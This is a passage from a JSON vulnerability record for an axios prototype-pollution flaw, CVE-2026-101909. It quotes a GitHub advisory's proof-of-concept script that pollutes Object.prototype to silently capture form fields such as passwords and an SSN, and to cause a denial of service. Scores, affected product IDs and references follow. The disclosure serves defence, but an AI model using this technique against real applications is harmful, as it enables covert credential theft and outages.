[];\nObject.prototype.visitor = function(value, key, path, helpers) {\n stolen.push({ key, value });\n return helpers.defaultVisitor.call(this, value, key, path);\n};\nObject.prototype.maxDepth = 2;\n\nconst server = http.createServer((req, res) => {\n res.writeHead(200);\n res.end('{}');\n});\n\nserver.listen(0, '127.0.0.1', async () => {\n const { port } = server.address();\n try {\n // Exfiltration: visitor intercepts all form fields\n await axios.post(`http://127.0.0.1:${port}/`, {\n username: 'john',\n password: 'SuperSecret123!',\n profile: { ssn: '123-45-6789' }\n }, { headers: { 'Content-Type': 'multipart/form-data' } });\n\n console.log('Stolen:', stolen);\n // Stolen: [\n // { key: 'username', value: 'john' },\n // { key: 'password', value: 'SuperSecret123!' },\n // { key: 'profile', value: { ssn: '123-45-6789' } },\n // { key: 'ssn', value: '123-45-6789' }\n // ]\n\n // DoS: nested object rejected by polluted maxDepth\n await axios.post(`http://127.0.0.1:${port}/`,\n { a: { b: { c: { d: 'value' } } } },\n { headers: { 'Content-Type': 'multipart/form-data' } }\n );\n // Throws: ERR_FORM_DATA_DEPTH_EXCEEDED\n // \"Object is too deeply nested (3 levels). Max depth: 2\"\n } finally {\n delete Object.prototype.visitor;\n delete Object.prototype.maxDepth;\n server.close();\n }\n});\n```\n##### Step 3: Run the PoC\n```bash\nnode poc.mjs\n```\n\n\n### Impact\n#### 1. Data Exfiltration via `visitor` (Confidentiality: High)\n_A polluted `Object.prototype.visitor` function is called as the form data visitor:_\n```js\nvisitor.call(formData, el, key, path, exposedHelpers)\n```\n_The attacker receives:_\n_- **`value`** — the raw value being serialized (passwords, tokens, PII, API keys)_\n_- **`key`** — the field name_\n_- **`path`** — the full path array (e.g., `['profile', 'address', 'street']`)_\n_- **`exposedHelpers`** — internal helpers including `defaultVisitor`, `convertValue`, `isVisitable`_\n\n_By delegating to `helpers.defaultVisitor`, the attack is completely transparent, the request succeeds normally and the server receives intact data. The exfiltration is invisible to both the caller and the server._\n\n#### 2. Denial of Service via `maxDepth` (Availability: Low)\n_A polluted `Object.prototype.maxDepth` of `1` or `2` causes any moderately nested form data request to throw `ERR_FORM_DATA_DEPTH_EXCEEDED`. Applications that send nested objects as form data (common with APIs that accept `profile[name]`, `address[city]`, etc.) will experience mysterious failures._\n\n#### 3. Data Corruption via `dots`, `indexes`, `metaTokens` (Integrity: Low)\n_Polluting these options changes the serialization format of form field names:_\n_- **`dots: true`** — changes bracket notation (`user[name]`) to dot notation (`user.name`)_\n_- **`indexes: true`** — changes array serialization (`items[]`) to indexed (`items[0]`, `items[1]`)_\n_- **`metaTokens: false`** — changes `obj{}` keys to raw json strings_\n\n_The server may misinterpret the submitted form data, leading to silent data corruption._\n \n\n---",
"title": "github - https://github.com/advisories/GHSA-x97p-jq2g-jp4f"
},
{
"category": "other",
"text": "0.00354",
"title": "EPSS"
},
{
"category": "other",
"text": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"title": "CVSSV4"
},
{
"category": "other",
"text": "8.3",
"title": "CVSSV4 base score"
},
{
"category": "other",
"text": "3.8",
"title": "NCSC Score"
},
{
"category": "other",
"text": "There is product data available from source Certbundde",
"title": "NCSC Score top increasing factors"
},
{
"category": "other",
"text": "The CVSS vector string contains AV:N (Attack Vector: Network), Is related to CWE-1321 (Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')), The value of the most recent CVSS (V3) score, There is product data available from source Debian, Is related to an uncommon product vendor",
"title": "NCSC Score top decreasing factors"
},
{
"category": "details",
"text": "Severity: 3\n",
"title": "Vendor assessment"
}
],
"product_status": {
"known_affected": [
"CSAFPID-9482867",
"CSAFPID-9482868",
"CSAFPID-6014972",
"CSAFPID-8902830",
"CSAFPID-8902831",
"CSAFPID-9053231",
"CSAFPID-2434928",
"CSAFPID-4429447",
"CSAFPID-4429448",
"CSAFPID-4429449",
"CSAFPID-4847028",
"CSAFPID-4847029",
"CSAFPID-5631707",
"CSAFPID-8600995",
"CSAFPID-8600994",
"CSAFPID-8600993",
"CSAFPID-8925640",
"CSAFPID-9485032",
"CSAFPID-8580141",
"CSAFPID-8583063",
"CSAFPID-8925641",
"CSAFPID-8925639",
"CSAFPID-8925638",
"CSAFPID-9484963",
"CSAFPID-9484962",
"CSAFPID-9484961",
"CSAFPID-9527307",
"CSAFPID-9527315",
"CSAFPID-9527321",
"CSAFPID-9773074",
"CSAFPID-9773075",
"CSAFPID-9773076",
"CSAFPID-9773077",
"CSAFPID-9773078",
"CSAFPID-9773079",
"CSAFPID-9773080",
"CSAFPID-9773081",
"CSAFPID-9773082"
],
"known_not_affected": [
"CSAFPID-8476867"
]
},
"references": [
{
"category": "external",
"summary": "Source - nvd",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-101909"
},
{
"category": "external",
"summary": "Source - ncscclear",
"url": "https://vulnerabilities.ncsc.nl/manual/CVE-2026-101909"
},
{
"category": "external",
"summary": "Source - cveprojectv5",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-101909"
},
{
"category": "external",
"summary": "Source - redhat",
"url": "https://access.redhat.com/security/cve/CVE-2026-101909"
},
{
"category": "external",
"summary": "Source - debian",
"url": "https://security-tracker.debian.org/tracker/CVE-2026-101909"
},
{
"category": "external",
"summary": "Source - first",
"url": "https://api.first.org/data/v1/epss"
},
{
"category": "external",
"summary": "Source - github",
"url": "https://github.com/advisories/GHSA-x97p-jq2g-jp4f"
},
{
"category": "external",
"summary": "Source - osv",
"url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-101909.json?alt=media"
},
{
"category": "external",
"summary": "Source - osv",
"url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/npm%2FGHSA-x97p-jq2g-jp4f.json?alt=media"
},
{
"category": "external",
"summary": "Source - certbundde",
"url": "https://wid.cert-bund.de/.well-known/csaf/white/2026/wid-sec-w-2026-4056.json"
},
{
"category": "external",
"summary": "Reference - cveprojectv5; github; nvd; osv; redhat",
"url": "https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a"
},
{
"category": "external",
"summary": "Reference - cveprojectv5; github; nvd; osv; redhat",
"url": "https://github.com/axios/axios/commit/d29be181f85f6fe93397a07b1f69606d9622637b"
},
{
"category": "external",
"summary": "Reference - cveprojectv5; github; nvd; osv; redhat",
"url": "https://github.com/axios/axios/pull/11141"
},
{
"category": "external",
"summary": "Reference - cveprojectv5; github; nvd; osv; redhat",
"url": "https://github.com/axios/axios/releases/tag/v0.34.0"
},
{
"category": "external",
"summary": "Reference - cveprojectv5; github; nvd; osv; redhat",
"url": "https://github.com/axios/axios/releases/tag/v1.20.0"
},
{
"category": "external",
"summary": "Reference - cveprojectv5; github; nvd; osv; redhat",
"url": "https://github.com/axios/axios/security/advisories/GHSA-x97p-jq2g-jp4f"
},
{
"category": "external",
"summary": "Reference - redhat",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-101909"
},
{
"category": "external",
"summary": "Reference - github; osv; redhat",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-101909"
},
{
"category": "external",
"summary": "Reference - github",
"url": "https://github.com/advisories/GHSA-x97p-jq2g-jp4f"
},
{
"category": "external",
"summary": "Reference - osv",
"url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/101xxx/CVE-2026-101909.json"
},
{
"category": "external",
"summary": "Reference - certbundde",
"url": "https://wid.cert-bund.de/.well-known/csaf/white/2026/wid-sec-w-2026-4056.json"
},
{
"category": "external",
"summary": "Reference - certbundde",
"url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-4056"
},
{
"category": "external",
"summary": "Reference - certbundde",
"url": "https://confluence.atlassian.com/security/security-bulletin-october-20-2026-1874690162.html"
}
],
"scores": [
{
"cvss_v3": {
"version": "3.1",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
"baseScore": 8.2,
"baseSeverity": "HIGH"
},
"products": [
"CSAFPID-2434928",
"CSAFPID-4429447",
"CSAFPID-4429448",
"CSAFPID-4429449",
"CSAFPID-4847028",
"CSAFPID-4847029",
"CSAFPID-5631707",
"CSAFPID-6014972",
"CSAFPID-8580141",
"CSAFPID-8583063",
"CSAFPID-8600993",
"CSAFPID-8600994",
"CSAFPID-8600995",
"CSAFPID-8902830",
"CSAFPID-8902831",
"CSAFPID-8925638",
"CSAFPID-8925639",
"CSAFPID-8925640",
"CSAFPID-8925641",
"CSAFPID-9053231",
"CSAFPID-9482867",
"CSAFPID-9482868",
"CSAFPID-9484961",
"CSAFPID-9484962",
"CSAFPID-9484963",
"CSAFPID-9485032",
"CSAFPID-9527307",
"CSAFPID-9527315",
"CSAFPID-9527321",
"CSAFPID-9773074",
"CSAFPID-9773075",
"CSAFPID-9773076",
"CSAFPID-9773077",
"CSAFPID-9773078",
"CSAFPID-9773079",
"CSAFPID-9773080",
"CSAFPID-9773081",
"CSAFPID-9773082"
]
}
],
"title": "CVE-2026-101909"
}
]
}